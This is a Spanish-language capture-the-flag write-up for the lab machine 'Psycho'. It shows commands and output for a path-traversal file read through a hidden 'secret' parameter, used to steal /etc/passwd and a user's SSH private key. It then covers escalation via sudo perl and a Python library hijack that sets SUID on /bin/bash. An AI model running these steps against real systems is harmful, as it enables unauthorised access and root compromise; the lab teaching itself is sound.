Psycho
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Psycho esconde un parámetrosecretenindex.phpque permite leer ficheros locales. En lugar de pelear con/etc/passwd, se usa para robar la clave privada SSH devaxeiy entrar sin contraseña. Desde ahí, un doble salto por sudo:vaxeiejecutaperlcomoluisillo(GTFOBins), yluisilloejecutasudo python3 /opt/paw.py, un script que haceimport subprocess. Dejando unsubprocess.pypropio en el directorio de trabajo se aplica un secuestro de la librería, que corre como root y pone el bit SUID abash(bash -p).
Reconocimiento
Escaneo inicial
El escaneo de puertos completo (-p-) descubre dos servicios: SSH y un servidor web Apache.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64extractPorts resume el fichero -oG y deja los dos puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 172.17.0.2
Open ports: 22,80
Ports copied to clipboardSobre esos dos puertos, un -sCV detalla versiones: OpenSSH 9.6p1 y Apache 2.4.58 en Ubuntu:
nmap -p22,80 -sCV <ip> -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 4You
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelwhatweb sobre el puerto 80 confirma el stack (Apache 2.4.58 sobre Ubuntu, Bootstrap, título 4You) pero no revela nada explotable de entrada:
whatweb http://<ip>
Wappalyzer, ya en el navegador, añade lo que el whatweb no distingue: la versión de Bootstrap, el Popper que la acompaña y el CDN desde el que se cargan.

Web servers: Apache HTTP Server 2.4.58
Operating systems: Ubuntu
UI frameworks: Bootstrap 5.3.0
Miscellaneous: Popper 2.11.6
CDN: jsDelivrQue las librerías vengan de jsDelivr y no de una carpeta local es un dato útil por descarte: no hay un /vendor propio que enumerar, todo lo de cliente es de terceros. La portada solo tiene dos enlaces (Join Now y Book Your Visit) y una firma, By TLuisillo_o, que resultará ser el nombre de un usuario.
http://172.17.0.2 [200 OK] Apache[2.4.58], Bootstrap, HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[4You]Fuzzing de directorios y de parámetros
gobuster recorre el sitio y solo saca /index.php y un /assets/ sin contenido aprovechable (el resto son 403):
gobuster dir -u http://<ip> -w directory-list-2.3-medium.txt -t 200 -x php,txt,xml,bak,py,html,js
/assets (Status: 301) [Size: 309] [--> http://172.17.0.2/assets/]
/index.php (Status: 200) [Size: 2596]
/server-status (Status: 403) [Size: 275]dirsearch confirma lo mismo, solo /assets/:
dirsearch -u http://<ip> --exclude-status=404,403
[20:17:50] 301 - 309B - /assets -> http://172.17.0.2/assets/
[20:17:50] 200 - 458B - /assets/Revisando la web a mano, es una landing de un gimnasio ("4You", By TLuisillo_o) con solo dos enlaces, Join Now y Book Your Visit, y ninguno lleva a ninguna parte:

Cuando la enumeración de rutas se agota, el siguiente paso es buscar parámetros GET ocultos que puedan leer recursos locales. Se fuzzea el nombre del parámetro apuntando a /etc/passwd y se filtra por el número de líneas de la respuesta base (--hl 62) para que solo destaque el acierto:
wfuzz -u "http://<ip>/index.php?FUZZ=../../../../../../../../etc/passwd" \
-w directory-list-2.3-medium.txt --hl=62 -t 100
Target: http://172.17.0.2/index.php?FUZZ=../../../../../../../../etc/passwd
Total requests: 220560
ID Response Lines Word Chars Payload
000005156: 200 88 L 199 W 3870 Ch "secret"
Total time: 238.4282
Processed Requests: 220560
Filtered Requests: 220559De 220560 peticiones el filtro --hl=62 descarta 220559: una sola sobrevive, la del parámetro secret, porque devuelve 88 líneas en vez de las 62 de la página normal. Esas 26 líneas de más son el /etc/passwd que se ha colado en la respuesta. El parámetro válido es secret.
Acceso: LFI a clave privada SSH
Confirmar la lectura de ficheros
Con el parámetro identificado, se confirma el Local File Inclusion leyendo /etc/passwd. La página envuelve la salida en HTML, así que se recorta desde el cierre </html> y se filtran las cuentas con shell interactiva para quedarnos solo con los usuarios reales:
curl -s "http://<ip>/index.php?secret=../../../../../../../../etc/passwd" \
| grep -A 100 '</html>' | tail -n +3 | grep -E '/bin/(bash|sh)'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vaxei:x:1001:1001:,,,:/home/vaxei:/bin/bash
luisillo:x:1002:1002::/home/luisillo:/bin/shDe usuarios a shell
Con los usuarios ubuntu, vaxei y luisillo hay dos caminos: fuerza bruta al SSH con hydra, o intentar leer directamente sus claves privadas por el mismo LFI. La segunda es más limpia, así que se prueba a leer la id_rsa de cada uno (incluida la de root):
curl -s "http://<ip>/index.php?secret=../../../../../../../../home/ubuntu/.ssh/id_rsa" | grep -A 100 '</html>' | tail -n +3
curl -s "http://<ip>/index.php?secret=../../../../../../../../home/vaxei/.ssh/id_rsa" | grep -A 100 '</html>' | tail -n +3
curl -s "http://<ip>/index.php?secret=../../../../../../../../root/.ssh/id_rsa" | grep -A 100 '</html>' | tail -n +3Los intentos de ubuntu y root vuelven vacíos, pero la de vaxei existe y se lee entera:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbNzaC1rZXktdjEAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
1w8tlJUw1y+rXTAAAAEnZheGVpQDIzMWRlMDI2NmZmZA==
-----END OPENSSH PRIVATE KEY-----Se guarda, se le dan permisos 600 y se entra por SSH sin contraseña:
chmod 600 id_rsa
ssh -i id_rsa vaxei@<ip>
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.10.11-amd64 x86_64)
...
Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1
vaxei@f82079c19a40:~$ echo "SO: $(uname)" && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) ...
SO: Linux
Kernel Version: 6.10.11-amd64
User: vaxei
Machine Name: f82079c19a40
IP: 172.17.0.2
Information User: uid=1001(vaxei) gid=1001(vaxei) groups=1001(vaxei),100(users)El chmod 600 no es un adorno: OpenSSH se niega a usar una clave privada legible por otros usuarios, así que sin ese paso el login falla aunque la clave sea correcta.
Escalada de privilegios
vaxei → luisillo (sudo perl)
vaxei puede ejecutar perl como el usuario luisillo sin contraseña:
sudo -l
User vaxei may run the following commands on f82079c19a40:
(luisillo) NOPASSWD: /usr/bin/perlperl está en GTFOBins: su -e ejecuta código arbitrario, y desde ahí un exec lanza una shell como el usuario objetivo. Se estabiliza con script:
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
script /dev/null -c bash
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
luisillo@f82079c19a40:/home/vaxei$El exec de perl deja una sh sin prompt ni control de trabajos; el script /dev/null -c bash la convierte en una sesión con terminal real, que es lo que hace usable el siguiente paso.
luisillo → root (secuestro de librería en un script sudo)
luisillo puede ejecutar un script Python concreto como root:
sudo -l
Matching Defaults entries for luisillo on f82079c19a40:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on f82079c19a40:
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.pyMerece la pena mirar los Defaults de esa salida: el secure_path fija el PATH con el que arranca el comando, así que la ruta al intérprete no se puede secuestrar. Lo que no toca es el sys.path de Python, que es por donde entrará el ataque.
El script, además de mucho ruido de relleno, empieza con import subprocess:
cat /opt/paw.py
import subprocess
import os
import sys
import time
...
def run_command():
subprocess.run(['echo Hello!'], check=True)
if __name__ == "__main__":
main()Ahí está la debilidad. Cuando Python resuelve import subprocess, busca el módulo en el orden de su ruta de búsqueda, y el directorio de trabajo se consulta antes que la librería estándar. Si dejamos un fichero subprocess.py propio en el directorio desde el que se lanza el script, Python cargará nuestro módulo en lugar del real. Es un secuestro de librería: el código que metamos ahí se ejecuta con los privilegios del script, es decir, como root. Le ponemos el bit SUID a bash:
cd /opt
echo -e 'import os;\nos.system("chmod u+s /bin/bash")' > subprocess.py
cat subprocess.py
import os;
os.system("chmod u+s /bin/bash")/opt (donde vive paw.py) es escribible por luisillo, así que dejamos ahí el subprocess.py. Al ejecutar el script por sudo, se importa nuestro módulo y chmod u+s /bin/bash corre como root:
sudo /usr/bin/python3 /opt/paw.py
ls -l /bin/bash
-rwsr-xr-x 1 root root ... /bin/bashbash -p
Con /bin/bash marcado SUID, bash -p mantiene el EUID de root:
bash -p
whoamirootCadena de ataque
HTTP -> wfuzz -> parametro oculto "secret" -> LFI
└─> lee /home/vaxei/.ssh/id_rsa -> SSH como vaxei
└─> sudo perl (GTFOBins) -> luisillo
└─> sudo python3 /opt/paw.py + subprocess.py propio (library hijack) -> root
└─> chmod u+s /bin/bash -> bash -p -> rootLecciones aprendidas
- Un LFI no solo lee
/etc/passwd. Su valor real es leer claves privadas, ficheros de configuración con credenciales o el código fuente de la propia aplicación; la lista de usuarios solo dirige el siguiente paso. - Fuzzear parámetros cuando las rutas se agotan. Muchos LFI viven en un parámetro que ninguna lista de directorios descubre; buscar el nombre del parámetro con
wfuzzes la pieza que faltaba. importes una superficie de ataque. Un script privilegiado que importa un módulo desde un directorio escribible por el atacante es RCE: Python resuelve el nombre por ruta de búsqueda, no por confianza.- Concede binarios sudo con lupa.
perly un script Python arbitrario son shells encubiertas; cada entrada de sudoers debería justificar por qué no es una escalada.